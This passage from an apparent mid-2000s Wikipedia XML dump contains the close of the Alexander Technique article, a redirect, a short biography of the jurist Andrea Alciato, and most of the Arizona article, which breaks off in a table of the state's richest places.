The Alexander Technique principles say that it is possible to learn to insert a new choice before a habitual reaction takes over, but how is this actually done? The principles may be put together in any sequence, not necessarily in this order. What follows is an example lesson.

First, choosing some sort of movement to practice with is required. Sitting down or walking is a commonly selected activity. The teacher prompts the student how to observe him or herself during action. Students are asked to describe without value judgments and are encouraged to avoid being self-chastising. Habits are not demonized.

A basic activity is to identify and stop habitual interference so a freer capacity to respond can reassert itself. Toward leaving out habit, the goal of the chosen action or motion is temporarily suspended, so motivation for immediate results does not encourage the habit to jump in to helpfully answer the urge to respond. Intercepting unnecessary habits might also be made easier by creating an arbitrary beginning moment of intentional choice.

Once a sample activity is observed and described, the teacher and student craft experiments to avoid habitual interference, usually by slowing down reaction time. In keeping with the ''sensory adaptation'' principle, customary kinesthetic orientation and preparation assumed necessary is repeatedly noted to be unnecessary. The teacher shows how the head, neck and back together can ''lengthen'' to increase capacity for freedom of movement. The teacher may use their hands as &quot;training wheels&quot; to help the student perceive exactly when their habit is interfering - often during movement preparation. Teachers bring a student's attention to pivotal timing issues and specific qualities of motion that influences freedom. Teachers may experiment alongside students; modeling the process they would prefer the student to emulate.

Sometimes the effect of this prevention of habit feels immediately strange or disorienting to the student. The teacher steadies and encourages the student to resist a need to go back down into the familiar habit and to tolerate additional unfamiliarity for longer periods of time.

A sensation termed ''Do-less-ness'' may be used as the new measure of success. Just as often seeking any results is also suspended, because the ability to sense subtle perceptual differences may have become dulled from ''sensory adaptation.''

Usually, this is all that is required to be practiced in the lesson. Sometimes habits are trickier and remedies to detour habit are crafted and used. Some of these strategies are directly prescribed by F.M. Alexander's historic examples, but many may be invented on the spot.

Now that the student's senses are not being dampened by habit, a discovery about the suspended objective of the activity may emerge at this time. These discoveries are noted and integrated into repeated experimentation to make them more reliable. It is important that this observing of results comes after doing the preventing and moving, not before; otherwise the unwanted habits can take back control.

When additional results are desired, a similar process of questioning, experimenting and observing possible results is again used (or the principles recombined in another order, tailored for a student's needs. Some students need to suspend expectation of results entirely.) After repeated successes from much experimentation, hopefully a learner's tolerance for unfamiliarity increases. Using this Alexander Technique process never stops feeling surprising.

=See Also=
* [[Somatic|Somatic education]]
* [[Feldenkrais method]]

=External links=
===Professional Alexander Teaching Organizations===
* [http://www.ati-net.com Alexander Teachers International (ATI)]
* [http://www.alexandertech.org American Society for the Alexander Technique]
* [http://www.stat.org.uk Society for Teachers of the Alexander Technique, largest in the UK]
* [http://www.isatt.net Irish Society of Teachers of the Alexander Technique]
* [http://www.paat.org.uk Professional Association Of Alexander Teachers - UK website containing a variety of cogent articles]

===Specific Alexander teacher and educational sites===
* [http://www.franis.org/Alexander Franis Engel's site of the origin of this definition]
* [http://www.bodymap.org Andover Educators - A site with resources for learning AT through a complementary original idea known as Body Mapping]
* [http://ergonomics.org Ergonomics, Posture and the Alexander Technique]
* [http://www.barstowinstitute.org Annual summer training workshop in Nebraska in the tradition of Marjorie L. Barstow]
* [http://physicaltherapy.org Information about the Alexander Technique of special interest to physical therapists]
* [http://pilatesandalexander.com Exploration of the relationships between the Alexander Technique and the Pilates Method]
* [http://www.auspiciousdragon.net/thoughts/alexander.html An everyday guide to habit and backache - written by an Alexander student]
* [http://www.alexander-tech.com Articles on how the Alexander Technique can help actors, musicians, pregnant women and those suffering with stress]
*[http://www.stat.org.uk/pages/researchpage.htm Online documentation of scientific research at a UK largest professional Society of Teachers of the Alexander Technique (STAT)]
* [http://www.alexandertechnique.com Large and inclusive site with comprehensive information on locating an Alexander teacher worldwide]
* [http://www.performanceschool.org An Alexander teacher training school in Seattle, WA with a study guide of Alexander's books &amp; online learning guides]


[[Category:Alternative medicine]]
[[Category:Exercise]]
[[Category:Mind-body interventions]]

[[de:Alexander-Technik]]
[[fi:Alexander-tekniikka]]
[[ja:&amp;#12450;&amp;#12524;&amp;#12463;&amp;#12469;&amp;#12531;&amp;#12480;&amp;#12540;&amp;#12539;&amp;#12486;&amp;#12463;&amp;#12491;&amp;#12540;&amp;#12463;]]</text>
    </revision>
  </page>
  <page>
    <title>Automatic telephone exchange</title>
    <id>1959</id>
    <revision>
      <id>33361889</id>
      <timestamp>2005-12-31T09:25:17Z</timestamp>
      <contributor>
        <username>Ricky81682</username>
        <id>125787</id>
      </contributor>
      <minor />
      <comment>rm double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Central office]]</text>
    </revision>
  </page>
  <page>
    <title>Andrea Alciato</title>
    <id>1960</id>
    <revision>
      <id>34254860</id>
      <timestamp>2006-01-07T16:59:34Z</timestamp>
      <contributor>
        <ip>87.2.130.148</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Emblema CLXXXIX.gif|right|160px|thumb|Emblema CLXXXIX stating ''Mentem, non formam, plus pollere'']]
'''Andrea Alciato''' (1492-1550), was a [[jurist]] born in [[Alzano]], near [[Milan]], [[Italy]] on the [[1492]]-[[January 12|01-12]].   Alciato settled in France in the early [[16th century]]. He displayed great literary skill in his exposition of the laws, and was one of the first to interpret the civil law by the history, languages and literature of antiquity, and to substitute original research for the servile interpretations of the glossators. He published many legal works, and some annotations on Tacitus. Alciato is most famous for his ''[[Emblemata]],'' published in dozens of editions from 1531 onward. This collection of short Latin verse texts and accompanying woodcuts created an entire European genre, the [[emblem book]], which attained enormous popularity in continental Europe and Britain.

Andrea Alicato died at [[Pavia]] in [[1550]].

Alciati's history of Milan, under the title ''Rerum Potriae, seu Historiae Mediolanensis, Libri IV''., was published posthumously at Milan in 1625.

==External links==
*[http://www.mun.ca/alciato/index.html Description, Reproduction and translation] Memorial University of Newfoundland

==References==
*{{1911}}

[[Category:Italian writers]]
[[Category:1492 births]]
[[Category:1550 deaths]]

[[it:Andrea Alciato]]</text>
    </revision>
  </page>
  <page>
    <title>Arizona</title>
    <id>1961</id>
    <revision>
      <id>41801305</id>
      <timestamp>2006-03-01T21:11:23Z</timestamp>
      <contributor>
        <username>BaronLarf</username>
        <id>137600</id>
      </contributor>
      <comment>/* Origin of the name */ cleanup</comment>
      <text xml:space="preserve">{{Otheruses1|the U.S. State}}

{| align=&quot;right&quot;
|-
| cellpadding=&quot;2&quot; cellspacing=&quot;2&quot; |
{{US state |
 Name = Arizona |
 Fullname        = State of Arizona |
 Flag            = Flag of Arizona.svg |
 Flaglink         = [[Flag of Arizona]] |
 Seal = Arizonastateseal.jpg |
 Map             = Map_of_USA_highlighting_Arizona.png |
 Nickname        = The [[Grand Canyon]] State, The Copper State |
 Capital         = [[Phoenix, Arizona|Phoenix]] |
 OfficialLang    = [[English language|English]] |
 Languages       = [[English language|English]] 74.1%, [[Spanish language|Spanish]] 19.5%, [[Navajo]] 1.9% |
 LargestCity     = [[Phoenix, Arizona|Phoenix]] |
 Governor = [[Janet Napolitano]] (D)|
 Senators = [[John McCain]] (R) &lt;br&gt; [[Jon Kyl]] (R) |
 PostalAbbreviation = AZ |
 AreaRank        = 6th |
 TotalArea       = 295,254 |
 LandArea        = 294,312 |
 WaterArea       = 942 |
 PCWater         = 0.32 |
 PopRank         = 20th |
 2000Pop         = 5,939,292 |
 DensityRank     = 36th |
 2000Density     = 17.43 |
 AdmittanceOrder = 48th |
 AdmittanceDate  = [[February 14]], [[1912]] |
 TimeZone        = [[Mountain Standard Time Zone|Mountain]]: [[Coordinated Universal Time|UTC]]-7&lt;br /&gt;|
 Latitude        = 31°20'N to 37°N |
 Longitude       = 109°3'W to 114°50'W |
 Width           = 500 |
 Length          = 645 |
 HighestElev     = 3,851 |
 MeanElev        = 1,250 |
 LowestElev      = 21 |
 ISOCode         = US-AZ |
 Website         = www.az.gov
}}
|-
|
{{US state symbols |
Name               = Arizona |
Flag               = Flag of Arizona.svg |
Seal               = Arizonastateseal.png |
Nickname           =  Grand Canyon State |
Capital            = [[Phoenix, Arizona|Phoenix]] |
Bird            = [[Cactus Wren]] |
Animal          = [[Ringtail Cat]] |
Fish            = [[Apache trout|Apache Trout]] |
Butterfly = [[Two-Tailed Swallowtail]] |     
Insect          = [[Two-Tailed Swallowtail]] |
Reptile         = [[Rattlesnake|Arizona Ridgenose Rattlesnake]] |
Furbearer        = [[Ringtail Cat]] |

Tree            = [[Palo Verde]] |
Flower          = [[Saguaro]] Blossom |
Grass = None |     
Wildflower     = None  |    
Gemstone        = [[Turquoise]] |
Fossil          = [[Petrified wood]] |
StateRock = [[Petrified wood]] |

Soil            = Arizona Casa-Grande |
Mineral         = [[Agate|Fire Agate]] |
Colors          = [[Blue]], [[Red]] &amp; Old Gold |
Dance              = Unknown |

Neckwear       = [[Bola Tie]] |
Motto           = ''Ditat Deus'' (God Enriches) |
Nicknames       = &quot;The [[Grand Canyon]] State&quot; and &quot;The [[Copper]] State&quot; |
Ships              = U.S.S. Arizona (Destroyed 1941) |

Song            = &quot;Arizona March Song&quot;&lt;br /&gt;&quot;Arizona&quot; |
Waltz           = None |
Beverage = None |
MusicalInstrument  = None |
Game = Unknown |
Tartan = None |
}}
|}

'''Arizona''' {{IPA|/&amp;#716;&amp;#603;&amp;#633;.&amp;#618;&amp;#712;zon.&amp;#601;/}} is a large [[U.S. state|state]] in the [[Western_United_States|western]] [[United States]]. It is best known for its [[desert]] landscape, which includes [[cacti]]. Arizona is also known for its exceptionally hot summers and mild winters. Less well known is the pine-covered high country in the north-central portion of the state, which contrasts with the lower deserts of the state.

Arizona is one of the [[Four Corners (United States)|Four Corners]] states, situated south and east of the [[Colorado River (U.S.)|Colorado River]]. It borders [[New Mexico]], [[Utah]], [[Nevada]], [[California]], touches [[Colorado]], and has a 389-mile (626 km) [[international border]] with [[Mexico]]. Arizona is the sixth largest state in area, after [[New Mexico]] and before [[Nevada]]. Aside from the [[Grand Canyon National Park|Grand Canyon]], a number of other [[National Forest]]s, [[National parks (United States)|Parks]], [[National parks (United States)|Monuments]], and [[Indian reservation]]s are located in the state. Arizona was the 48th state admitted into the U.S. (1912), and the last of the [[Continental United States|contiguous states]] admitted.

Three ships named [[USS Arizona]] have been named in honor of the state, although only [[USS Arizona (BB-39)]] was so named after statehood was achieved.

==Origin of the name==
Historians disagree about the [[etymology|origin]] of the name &quot;Arizona&quot; and its attachment to the region.  Two possible derivations are:
*[[O'odham language|O'odham]] words &quot;al&amp;#301; &amp;#7779;on&quot; (&quot;small spring&quot;), actually the name of a town which is called &quot;Arizonac&quot; in English. Arizonac is a small town about eight miles (12 km) south of the [[U.S.-Mexico border|United States&amp;ndash;Mexican border]]. Historically, it may have been &quot;al&amp;#301; son&quot; or even &quot;al&amp;#301; sona&quot;. The O'odham &quot;l&quot; is a [[voiced alveolar lateral fricative]], which might sound to a Spanish or English speaker like an &quot;r&quot; sound. Later in the mid [[18th century]] Spanish missionaries changed Father [[Eusebio Francisco Kino]]'s maps of the area; they renamed the town Arizonac as Arizona. As the maps were republished and circulated in [[Europe]], the name Arizona became attached to the whole northern part of [[New Spain]].
*[[Spanish language|Spanish]] words &quot;árida zona&quot; (&quot;arid zone&quot;) This would be grammatically incorrect however, since in Spanish, the noun precedes the adjective.

==History==
''Main article: [[History of Arizona]]''

Beyond its original [[Native Americans in the United States|native]] inhabitants, [[Marcos de Niza]], a [[Franciscan]], explored the area in [[1539]]. [[Francisco Vásquez de Coronado|Coronado]]'s expedition entered the area in [[1540]]&amp;ndash;[[1542|42]] during its search for [[Quivira and Cíbola|Cíbola]]. Father Kino developed a chain of missions and taught the Indians [[Christianity]] in [[Pimería Alta]] (now southern Arizona and northern [[Sonora]]) in the [[1690s]] and early [[1700s]]. [[Spain]] founded fortified towns (presidios) at Tubac in [[1752]] and Tucson in [[1775]]. All of what is now Arizona became part of Mexico's northwest frontier upon the Mexican assertion of independence from Spain in [[1810]]. The United States took possession of most of Arizona at the end of the [[Mexican War]] in [[1848]]. In [[1853]] the land below the [[Gila River]] was acquired from Mexico in the [[Gadsden Purchase]]. Arizona was administered as part of the Territory of New Mexico until it was organized into a separate territory on [[February 24]], [[1863]].  

[[Brigham Young]] sent [[Mormon]]s to Arizona in the mid to late [[1800s]]. They founded [[Mesa, Arizona|Mesa]], [[Snowflake, Arizona|Snowflake]], [[Heber-Overgaard, Arizona|Heber]], [[Safford, Arizona|Safford]] and other towns. They also settled in the [[Phoenix Valley]] (or &quot;Valley of the Sun&quot;), [[Tempe, Arizona|Tempe]], [[Prescott, Arizona|Prescott]], among other areas.  

Arizona was the site of a [[Germany|German]] and [[Italy|Italian]] prisoner of war camp during [[World War II|WWII]]. The site was purchased after the war by the Maytag family, and is currently utilized as the [[Phoenix Zoo]].  A [[Japan|Japanese]] internment camp was located on [[Mount Lemmon]], just outside of the state's southeastern city of Tucson.

Arizona became a U.S. state on [[February 14]], [[1912]].

==Law and government==
''See: [[United_States_Congress/Arizona|List of Congressmen]]''
[[Image:AZ_capitol.jpg|thumb|left|Arizona State Capitol, Phoenix]]

The state capitol of Arizona is in [[Phoenix, Arizona|Phoenix]]. The original capitol building, with its distinctive copper dome, was dedicated in 1901 (construction was completed for $136,000 in 1900), when the area was still a territory, and became the official state capitol with Arizona's admission to the union in 1912.

Separate legislative buildings for the [[Arizona House of Representatives|House of Representatives]] and [[Arizona Senate|Senate]] were dedicated in 1960, and an Executive Office Building was dedicated in 1974 (the ninth floor of this building is where the Office of the Governor is located). The original capitol building was converted into a museum.

The capitol complex is fronted and highlighted by the richly landscaped [[Wesley Bolin Memorial Park]], named after [[Wesley Bolin]], a governor who died in office in the 1970's. Numerous monuments and memorials are on the site, including the anchor and signal mast from the [[USS Arizona]] (one of the U.S. Navy ships sunk in Pearl Harbor); a granite version of the [[Ten Commandments]]; and the [[Arizona Vietnam Veterans' Memorial]].

Arizona's legislature is [[bicameral]] (like the legislature of every other state except [[Nebraska]]) and consists of a thirty-member [[Arizona Senate|Senate]] and a 60-member [[Arizona House of Representatives|House of Representatives]]. Legislators are elected for two-year terms. 

Each Legislature covers a two-year period. The first session following the general election is known as the first regular session, and the session convening in the second year is known as the second regular session. Each regular session begins on the second Monday in January and adjourns sine die (i.e., terminates for the year) no later than Saturday of the week in which the 100th day from the beginning of the regular session falls. The President of the Senate and Speaker of the House, by rule, may extend the session up to seven additional days. Thereafter the session can only be extended by a majority vote of members present of each house.

The majority party is the [[United States Republican Party|Republican Party]], which has held power since [[1950]]. The [[2002]] budget of the Arizona state legislature was $14.3 billion, while the executive budget was $13.8 billion. Besides the money spent on state agencies, money has also been allocated for tax cuts, pay raises for government employees, and health insurance for government employees. The executive budget has allocated money to previously passed legislation. Arizona state senators and representatives are elected for two year terms and there are no terms limits. However, no more than four terms may be served consecutively.

Arizona's [[executive branch]] is headed by a governor elected for a four-year term. The governor may serve any number of terms, though no more than two in a row.  The current Governor of Arizona is [[Janet Napolitano]], a [[United States Democratic Party|Democrat]].  She has been governor since [[2003]]. 

''See:[[List of Arizona Governors]]''

The two U.S. Senators from Arizona are Senator [[John McCain]] (Republican) and Senator [[Jon Kyl]] (Republican).

Arizona's representatives in the United States House of Representatives are [[Rick Renzi]] (R-1), [[Trent Franks]] (R-2), [[John Shadegg]] (R-3), [[Ed Pastor]] (D-4), [[J.D. Hayworth]] (R-5), [[Jeff Flake]] (R-6), [[Raul Grijalva]] (D-7), and [[Jim Kolbe]] (R-8).  Arizona gained two seats in the House of Representatives due to [[redistricting]] based on [[United_States_2000_census|Census 2000]].

While the Republican Party has dominated Arizona politics since the [[1950s]], the state did support one Democratic presidential candidate in that time, [[Bill Clinton]] in [[1996]].  In [[2004]], [[George W. Bush]] won the state's ten [[electoral vote|electoral votes]] by a margin of 11 percentage points with 54.9 percent of the vote.  The state's concentration of Democrats is strongest in the City of Tucson (excluding Tucson's historically Republican-dominated suburbs), Yuma, and [[Santa Cruz County, Arizona|Santa Cruz]] and [[Apache County, Arizona|Apache]] counties.

==Geography==
[[Image:Noaa topo az.jpg|thumb|200px|State Topography Image: Arizona]]
{|
|-
| ''See:'' || ''[[List of Arizona counties]]''
| ''[[List of Arizona rivers]]'' || ''[[List of Arizona lakes]]''
|-
| &amp;nbsp;
| ''[[List of Arizona state parks|Arizona state parks]]''
| ''[[List of U.S. National Forests]]''
|}

Like other states of the Southwest, Arizona has an abundance of topographical characteristics in addition to its [[desert]] climes.  More than half of the state features [[mountains]] and [[plateaus]] and contains the largest stand of Ponderosa pine in the [[United States]].  The [[Mogollon Rim]], a 600&amp;nbsp;meter (2000-foot) [[escarpment]], cuts across the central section of the state and marks the southwestern edge of the [[Colorado Plateau]], where the state experienced its [[Rodeo-Chediski fire|worst forest fire ever]] in [[2002]].  Arizona belongs firmly within the [[Basin and Range Province]] of North America.  The region was shaped by prehistoric [[volcanism]], followed by a cooling-off and related subsidence.  The entire region is slowly sinking.

[[Image:Colorado River from Desert View-1000px.jpeg|thumb|left|The Grand Canyon.]]

The [[Grand Canyon]] is a colorful, steep-sided [[gorge]], carved by the [[Colorado River (U.S.)|Colorado River]], in northern Arizona. The canyon is one of the [[seven natural wonders of the world]] and is largely contained in the [[Grand Canyon National Park]]&amp;mdash;one of the first [[national parks]] in the [[United States]]. President [[Theodore Roosevelt]] was a major proponent of the Grand Canyon area, visiting on numerous occasions to hunt [[mountain lion]] and enjoy the breathtaking scenery.

The Canyon, created by the [[Colorado River]] cutting a channel over millions of years, is about 277 miles (446 km) long, ranges in width from 4 to 18 miles (6 to 29 kilometers) and attains a depth of more than 1 mile (1.6 km). Nearly 2 billion years of the [[Earth]]'s history has been exposed as the Colorado River and its tributaries cut through layer after layer of [[sediment]] as the [[Colorado Plateau]]s have uplifted. 

Arizona does not observe [[Daylight saving time|DST]], except in the [[Navajo Nation]] located in the northeastern region of the state.

:Statistics
:*''Largest City:'' [[Phoenix, Arizona|Phoenix]]
:*''Highest Point:'' [[Humphreys Peak]] - 12,633 ft. (3851 m) near Flagstaff
:*''Lowest Point:'' [[Colorado River]] - 70 ft. (21 m)

==Art==
Arizona has featured a continuous string of dancing and performing groups of many ethnicities. The state is a recognized center of [[Native Americans in the United States|Native American]] art, with a number of galleries such as the [[Heard Museum]] showcasing historical and contemporary works. [[Sedona]] and [[Tubac]] are known as budding artist colonies, and small arts scenes exist in the larger cities and near the state universities.

Many tourist souvenirs produced in Arizona or by its residents display characteristic images, such as sunsets, coyotes, and desert plants. Several major Hollywood films, such as ''[[U-Turn]]'', ''[[Waiting to Exhale]]'', ''[[Just One of the Guys]]'', ''[[Bill and Ted's Excellent Adventure]]'', and ''[[Raising Arizona]]'' have been made there (as indeed have many [[Westerns]]).

==Climate==
Due to its large area and variations in elevation, the state has a wide variety of climates.  In the lower elevations, the climate is primarily desert, with mild winters and hot summers.  
Typically, from late fall to early spring, the weather is mild, averaging a minimum of 60 degrees Fahrenheit (15&amp;nbsp;&amp;deg;C).  November through February are the coldest months with temperatures typically ranging from 40&amp;ndash;75 degrees Fahrenheit (4&amp;ndash;24&amp;nbsp;&amp;deg;C), although occasional frosts are not uncommon.  About midway through February, the temperatures start to rise again with sunny warm days, and cool breezy nights. The summer months of May through August bring a dry heat ranging from 90&amp;ndash;100 degrees Fahrenheit (32&amp;ndash;38&amp;nbsp;&amp;deg;C), with occasional high temperatures exceeding 125 °F (52&amp;nbsp;&amp;deg;C) having been observed in the desert area.  Due to the primarily dry climate, large temperature swings often occur between day and night, with some as large as 50 °F (10&amp;nbsp;&amp;deg;C) in the summer months.  

However, the northern third of Arizona is a plateau at significantly higher altitudes than the lower desert, and has an appreciably cooler climate, with cold winters and mild summers.  Extreme cold temperatures are not unknown; cold air systems from the northern states and [[Canada]] occasionally push into the state, bringing temperatures below 0 °F (-18&amp;nbsp;&amp;deg;C) to the higher parts of the state.  

Monsoon season in Arizona is from the end of July through August. Monsoon season storms bring lightning, thunderstorms, wind, and torrential, if usually brief, downpours. It is rare for tornadoes to occur in Arizona. &lt;!-- how much precipitation is missing--&gt;

Indicative of the variation in climate, Arizona is the state which has both the metropolitan area with the most days over 100 degrees Fahrenheit (37.8&amp;nbsp;&amp;deg;C) (Phoenix), and the metropolitan area in the lower 48 states with the most days with a low temperature below freezing (Flagstaff).

==Economy==
[[Image:AZlicenseplt.gif|thumb|right|Current Arizona License Plate. Courtesy Arizona DOT/MVD]]

The 2004 total [[gross state product]] was $187.27 billion.  If Arizona were an independent country, it would have the 61&lt;sup&gt;st&lt;/sup&gt; largest economy in the world ([http://www.odci.gov/cia/publications/factbook/rankorder/2001rank.html CIA - The World Factbook]).  This figure gives Arizona a larger economy than most other countries, including [[Norway]], [[Denmark]], [[Czech Republic]], [[Ireland]], [[Finland]], and [[New Zealand]].  Arizona currently has the 21&lt;sup&gt;st&lt;/sup&gt; largest economy among states in the [[U.S.]].   
[[Image:wiki_arizona.jpg|thumb|left|300px|Greetings from Arizona]]
The state's [[per capita income]] is $27,232, 39&lt;sup&gt;th&lt;/sup&gt; in the U.S.  Early in its history, Arizona's economy relied on the &quot;Five C's&quot;: [[copper]], [[cotton]], [[cattle]], [[citrus]], and [[climate]] ([[tourism]]).  At one point Arizona was the largest producer of cotton in the country.  Copper is still extensively mined from many expansive open-pit and underground mines, accounting for two-thirds of the nation's output.

[[Image:Entering Arizona on I-10 Westbound.jpg|thumb|right|250px|Entering Arizona on I-10 from New Mexico]]

The state government is the Arizona's largest employer, while [[Wal-Mart]] is the state's largest private employer, with 17,343 employees ([[2003]]). Arizona lost much of its comparative advantage as a [[high-tech]] industry leader between [[1990]] and [[2001]], according to a state [http://www.commerce.state.az.us/ Department of Commerce] report. 

In [[2001]], 161,166 Arizonans were employed in the high-tech sector, accounting for about 8.3 percent of total private-sector employment of more than 1.9 million. High-tech payroll in 2001 was $2.2 billion, or 14.7 percent of the private-sector total. High-tech employment was led by [[Computer software|software]] and [[computers]], with 34,314; [[electronics]] components manufacturing, 30,358; [[aerospace]] manufacturing, 25,641; architectural and engineering services, 21,378; telecommunications, 21,224; and instruments manufacturing, 13,056.

==Demographics==
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| 1860 || align=&quot;right&quot;| 6,482
|-
| align=&quot;center&quot;| 1870 || align=&quot;right&quot;| 9,658
|-
| align=&quot;center&quot;| 1880 || align=&quot;right&quot;| 40,440
|-
| align=&quot;center&quot;| 1890 || align=&quot;right&quot;| 88,243
|-
| align=&quot;center&quot;| 1900 || align=&quot;right&quot;| 122,931
|-
| align=&quot;center&quot;| 1910 || align=&quot;right&quot;| 204,354
|-
| align=&quot;center&quot;| 1920 || align=&quot;right&quot;| 334,162
|-
| align=&quot;center&quot;| 1930 || align=&quot;right&quot;| 435,573
|-
| align=&quot;center&quot;| 1940 || align=&quot;right&quot;| 499,261
|-
| align=&quot;center&quot;| 1950 || align=&quot;right&quot;| 749,587
|-
| align=&quot;center&quot;| 1960 || align=&quot;right&quot;| 1,302,161
|-
| align=&quot;center&quot;| 1970 || align=&quot;right&quot;| 1,770,900
|-
| align=&quot;center&quot;| 1980 || align=&quot;right&quot;| 2,718,215
|-
| align=&quot;center&quot;| 1990 || align=&quot;right&quot;| 3,665,228
|-
| align=&quot;center&quot;| [[United States 2000 Census|2000]] || align=&quot;right&quot;| 5,130,632
|}

As of 2005, Arizona has an estimated population of 5,939,292, which is an increase of 199,413, or 3.5%, from the prior year and an increase of 808,660, or 15.8%, since the year 2000.  This includes a natural increase since the last census of 241,732 people (that is 462,739 births minus 221,007 deaths) and an increase due to net migration of 576,238 people into the state.  Immigration from outside the United States resulted in a net increase of 168,078 people, and migration within the country produced a net increase of 408,160 people.

The racial breakdown of the state is as follows:
*63.8% [[Whites|White]] non-Hispanic
*25.3% [[Hispanics|Hispanic]] 
*5% [[Native Americans in the United States|Native American]]
*3.1% [[Blacks|Black]]
*1.8% [[Asian American|Asian]]
*2.9% [[Mixed race]]

According to 2003 U.S. Census estimates, Arizona has the second highest number (and the 6th highest percentage) of [[Native Americans in the United States|Native American]]s of any state in the Union. 286,680 reportedly live in Arizona, representing more than 10% of the country's total Indian population of 2,752,158. Only [[California]] has more Indians than Arizona, and Arizona has slightly more Indians than [[Oklahoma]] [http://eire.census.gov/popest/data/states/ST-EST2002-ASRO-03.php].

The largest ancestry groups in Arizona are [[Mexico|Mexican]] (21 percent), [[Germany|German]], [[England|English]], [[Ireland|Irish]], and [[American Indian]]. The southern and central parts of the state are heavily Mexican-American, especially in Yuma and Santa Cruz counties. The north-central and northwestern counties are largely inhabited by residents of English ancestry. The northeastern part of Arizona has many American Indians.

Arizona is projected to become a [[minority-majority]] state by the year 2035, if current population growth trends continue. In 2003, for the first time, there were more Hispanic births in the state than white non-Hispanic births.

As of 2000, 74.1% of Arizona residents age 5 and older speak [[English language|English]] at home and 19.5% speak [[Spanish language|Spanish]]. [[Navajo language|Navajo]] is the third most spoken language at 1.9%, followed by Other Native North American languages at 0.6% and [[German language|German]] at 0.5%.

49.9% of the population is male, 50.1% is female.

''See also the list of [[Natives of Arizona|Arizona Natives]]. ''

===Religion===
Four in five Arizonans are self-described Christians, with large numbers of both Catholics and Protestants living in the state. There is also a significant Latter-day Saint (Mormon) population.

Religious affiliations in Arizona:
*[[Christianity|Christian]] &amp;ndash; 79.9%
**[[Protestantism|Protestant]] &amp;ndash; 42%
***[[Baptist]] &amp;ndash; 9%
***[[Methodism|Methodist]] &amp;ndash; 5%
***[[Lutheranism|Lutheran]] &amp;ndash; 4%
***Other Protestant/general Protestant &amp;ndash; 24%
**[[Roman Catholicism in the United States|Roman Catholic]] &amp;ndash; 31%
**[[Church of Jesus Christ of Latter-day Saints|LDS]] &amp;ndash; 6%
**Other Christian &amp;ndash; 1%
*Other Religions &amp;ndash; 2%
*Non-Religious &amp;ndash; 18%

==Important cities and towns==
{{ussm|arizona.png|az}}
[[Image:phoenix sykline.jpg|thumb|right|300px|Phoenix ]]
[[Image:City Street of Tucson, AZ.jpg|thumb|right|300px|Tucson]]
See: [[List of cities in Arizona]], [[List of cities in Arizona (by population)]], [[List of Arizona counties]]

[[Phoenix, Arizona|Phoenix]] is the largest, primary city and capital of the state.  The [[Phoenix, Arizona|Phoenix]] metro area includes [[Mesa, Arizona|Mesa]], [[Glendale, Arizona|Glendale]], [[Chandler, Arizona|Chandler]], [[Tempe, Arizona|Tempe]], and [[Scottsdale, Arizona|Scottsdale]].  The Phoenix metropolitan area supports a population of nearly 3.9 million.  

[[Tucson, Arizona|Tucson]] is the state's second largest city, located 135 miles (220 km) [[southeast]] of the Phoenix metropolitan area.  The Tucson metropolitan area has a population rapidly nearing 1 million.

Each city named in '''bold''' has a population greater than 100,000.
{|
|-
| valign=&quot;top&quot; |
*[[Apache Junction, Arizona|Apache Junction]]
*[[Avondale, Arizona|Avondale]]
*[[Benson, Arizona|Benson]]
*[[Bullhead City, Arizona|Bullhead City]]
*[[Camp Verde, Arizona|Camp Verde]]
*[[Casa Grande, Arizona|Casa Grande]]
*[[Casas Adobes, Arizona|Casas Adobes]]
*[[Catalina Foothills, Arizona|Catalina Foothills]]
*[[Chandler, Arizona|'''Chandler''']]
*[[Cottonwood, Arizona|Cottonwood]]
*[[Cottonwood-Verde Village, Arizona|Cottonwood-Verde Village]]
*[[Douglas, Arizona|Douglas]]
*[[Drexel Heights, Arizona|Drexel Heights]]
*[[Eloy, Arizona|Eloy]]
*[[Flagstaff, Arizona|Flagstaff]]
*[[Florence, Arizona|Florence]]
*[[Flowing Wells, Arizona|Flowing Wells]]
*[[Fortuna Foothills, Arizona|Fortuna Foothills]]
*[[Fountain Hills, Arizona|Fountain Hills]]
*[[Gilbert, Arizona|'''Gilbert''']]
*[[Glendale, Arizona|'''Glendale''']]
*[[Globe, Arizona|Globe]]
*[[Goodyear, Arizona|Goodyear]]
*[[Green Valley, Arizona|Green Valley]]
*[[Kingman, Arizona|Kingman]]
*[[Lake Havasu City, Arizona|Lake Havasu City]]
*[[Marana, Arizona|Marana]]
*[[Mesa, Arizona|'''Mesa''']]
| valign=&quot;top&quot; |
*[[Mohave Valley, Arizona|Mohave Valley]]
*[[New Kingman-Butler, Arizona|New Kingman-Butler]]
*[[New River, Arizona|New River]]
*[[Nogales, Arizona|Nogales]]
*[[Oro Valley, Arizona|Oro Valley]]
*[[Paradise Valley, Arizona|Paradise Valley]]
*[[Payson, Arizona|Payson]]
*[[Peoria, Arizona|'''Peoria''']]
*[[Phoenix, Arizona|'''Phoenix''']]
*[[Prescott Valley, Arizona|Prescott Valley]]
*[[Prescott, Arizona|Prescott]]
*[[Safford, Arizona|Safford]]
*[[San Luis, Arizona|San Luis]]
*[[Scottsdale, Arizona|'''Scottsdale''']]
*[[Sedona, Arizona|Sedona]]
*[[Sierra Vista Southeast, Arizona|Sierra Vista Southeast]]
*[[Sierra Vista, Arizona|Sierra Vista]]
*[[Sun City West, Arizona|Sun City West]]
*[[Sun City, Arizona|Sun City]]
*[[Sun Lakes, Arizona|Sun Lakes]]
*[[Surprise, Arizona|Surprise]]
*[[Tanque Verde, Arizona|Tanque Verde]]
*[[Tempe, Arizona|'''Tempe''']]
*[[Tucson Southeast, Arizona|Tucson Southeast]]
*[[Tucson, Arizona|'''Tucson''']]
*[[Yuma, Arizona|Yuma]]
*[[Youngtown, Arizona|Youngtown]]
|}

===25 Richest Places in Arizona===
Ranked by [[per capita income]]
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot;&gt;
|-
|City
|Income 
|City 
|Income
|-
|1 [[Paradise Valley, Arizona]]
|$81,290
|14 [[Sedona, Arizona]]
|$31,350
|-
|2 [[Carefree, Arizona]]
|$62,433
|15 [[Green Valley, Arizona]]
|$31,138
|-
